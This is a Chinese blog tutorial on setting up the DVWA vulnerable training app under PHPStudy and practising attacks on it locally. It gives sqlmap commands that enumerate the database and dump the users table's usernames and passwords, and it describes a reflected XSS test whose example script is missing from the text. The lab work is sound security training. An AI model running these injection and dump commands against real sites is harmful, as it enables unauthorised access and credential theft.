热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

配置PHPStudy环境并使用DVWA进行Web安全测试

本文详细介绍了如何在PHPStudy环境下配置DVWA(DamnVulnerableWebApplication),并利用该平台进行SQL注入和XSS攻击的练习。通过此过程,读者可以熟悉常见的Web漏洞及其利用方法。
配置PHPStudy环境

首先访问PHPStudy官方网站下载并安装PHPStudy。安装完成后,从DVWA官网下载DVWA压缩包,并将其解压到PHPStudy安装目录下的WWW文件夹中。将解压后的文件夹重命名为DVWA

接下来,进入DVWA/config目录,找到并编辑config.inc.php文件。根据需要填写Google reCAPTCHA的公钥和私钥:

$_DVWA[ 'recaptcha_public_key' ] = '6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb';
$_DVWA[ 'recaptcha_private_key' ] = '6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K';

若无reCAPTCHA需求,可留空。

然后,打开PHPStudy安装目录下的Extensions/php/php7.3.4nts目录,编辑php.ini文件,搜索并确保以下设置已启用:allow_url_fopen = Onextension=mysqli。保存并退出。

启动PHPStudy服务后,在浏览器中访问http://127.0.0.1/DVWA/setup.php完成初始化设置,使用默认账号admin/password登录。

SQL注入练习

为进行SQL注入测试,需先安装SQLMap工具。请前往SQLMap官网下载并安装最新版本,同时确保Python环境已正确配置。

登录DVWA后选择SQL Injection模块,使用浏览器开发者工具(F12)捕获请求中的COOKIE信息。接着,在命令行中切换至SQLMap目录,执行如下命令以检测数据库:

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=123&Submit=Submit" --COOKIE "security=low; PHPSESSID=d24irf2jas287lkua6k4to98mb" --dbs

确认目标数据库为dvwa后,继续爆破表名:

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=123&Submit=Submit" --COOKIE "security=low; PHPSESSID=d24irf2jas287lkua6k4to98mb" -D dvwa --tables

确定感兴趣的表为users,进一步获取列名:

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=123&Submit=Submit" --COOKIE "security=low; PHPSESSID=d24irf2jas287lkua6k4to98mb" -D dvwa -T users --columns

最后,提取userpassword字段的数据:

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=123&Submit=Submit" --COOKIE "security=low; PHPSESSID=d24irf2jas287lkua6k4to98mb" -D dvwa -T users -C user,password --dump

通过上述步骤,您可以成功检索出用户账户及其密码。

XSS攻击练习

调整DVWA的安全级别至最低(Low)。在XSS (Reflected)模块中输入任意字符串并提交,观察页面返回内容是否与输入一致。由于GET参数未经过滤,输入恶意脚本代码(如)后,页面会弹出警告框,表明存在反射型XSS漏洞。


推荐阅读
  • CentOS7源码编译安装MySQL5.6
    2019独角兽企业重金招聘Python工程师标准一、先在cmake官网下个最新的cmake源码包cmake官网:https:www.cmake.org如此时最新 ... [详细]
  • QUIC协议:快速UDP互联网连接
    QUIC(Quick UDP Internet Connections)是谷歌开发的一种旨在提高网络性能和安全性的传输层协议。它基于UDP,并结合了TLS级别的安全性,提供了更高效、更可靠的互联网通信方式。 ... [详细]
  • PyCharm下载与安装指南
    本文详细介绍如何从官方渠道下载并安装PyCharm集成开发环境(IDE),涵盖Windows、macOS和Linux系统,同时提供详细的安装步骤及配置建议。 ... [详细]
  • 本文详细介绍如何使用Python进行配置文件的读写操作,涵盖常见的配置文件格式(如INI、JSON、TOML和YAML),并提供具体的代码示例。 ... [详细]
  • 技术分享:从动态网站提取站点密钥的解决方案
    本文探讨了如何从动态网站中提取站点密钥,特别是针对验证码(reCAPTCHA)的处理方法。通过结合Selenium和requests库,提供了详细的代码示例和优化建议。 ... [详细]
  • python的交互模式怎么输出名文汉字[python常见问题]
    在命令行模式下敲命令python,就看到类似如下的一堆文本输出,然后就进入到Python交互模式,它的提示符是>>>,此时我们可以使用print() ... [详细]
  • golang常用库:配置文件解析库/管理工具viper使用
    golang常用库:配置文件解析库管理工具-viper使用-一、viper简介viper配置管理解析库,是由大神SteveFrancia开发,他在google领导着golang的 ... [详细]
  • Docker的安全基准
    nsitionalENhttp:www.w3.orgTRxhtml1DTDxhtml1-transitional.dtd ... [详细]
  • 本文详细介绍了 BERT 模型中 Transformer 的 Attention 机制,包括其原理、实现代码以及在自然语言处理中的应用。通过结合多个权威资源,帮助读者全面理解这一关键技术。 ... [详细]
  • 本文介绍如何使用 Python 将一个字符串按照指定的行和元素分隔符进行两次拆分,最终将字符串转换为矩阵形式。通过两种不同的方法实现这一功能:一种是使用循环与 split() 方法,另一种是利用列表推导式。 ... [详细]
  • QBlog开源博客系统:Page_Load生命周期与参数传递优化(第四部分)
    本教程将深入探讨QBlog开源博客系统的Page_Load生命周期,并介绍一种简洁的参数传递重构方法。通过视频演示和详细讲解,帮助开发者更好地理解和应用这些技术。 ... [详细]
  • Explore how Matterverse is redefining the metaverse experience, creating immersive and meaningful virtual environments that foster genuine connections and economic opportunities. ... [详细]
  • 在 Windows 10 中,F1 至 F12 键默认设置为快捷功能键。本文将介绍几种有效方法来禁用这些快捷键,并恢复其标准功能键的作用。请注意,部分笔记本电脑的快捷键可能无法完全关闭。 ... [详细]
  • 本文介绍了在安装或运行 Python 项目时遇到的 'ModuleNotFoundError: No module named setuptools_rust' 错误,并提供了解决方案。 ... [详细]
  • 构建基于BERT的中文NL2SQL模型:一个简明的基准
    本文探讨了将自然语言转换为SQL语句(NL2SQL)的任务,这是人工智能领域中一项非常实用的研究方向。文章介绍了笔者在公司举办的首届中文NL2SQL挑战赛中的实践,该比赛提供了金融和通用领域的表格数据,并标注了对应的自然语言与SQL语句对,旨在训练准确的NL2SQL模型。 ... [详细]
author-avatar
宁波南诚装饰_886
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有